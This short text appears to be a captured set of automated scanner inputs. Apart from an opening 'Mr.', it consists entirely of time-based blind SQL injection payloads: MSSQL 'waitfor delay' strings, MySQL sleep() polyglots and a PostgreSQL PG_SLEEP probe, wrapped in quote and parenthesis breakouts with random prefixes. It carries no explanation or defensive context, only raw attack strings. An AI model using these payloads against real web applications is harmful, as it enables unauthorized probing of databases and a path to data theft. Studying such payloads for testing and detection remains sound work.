Mr.

1 waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

oidvEEQF'; waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

0FtEiSPY'); waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

kLu4qEmY')); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-5 OR 613=(SELECT 613 FROM PG_SLEEP(15))--

1 waitfor delay '0:0:15' --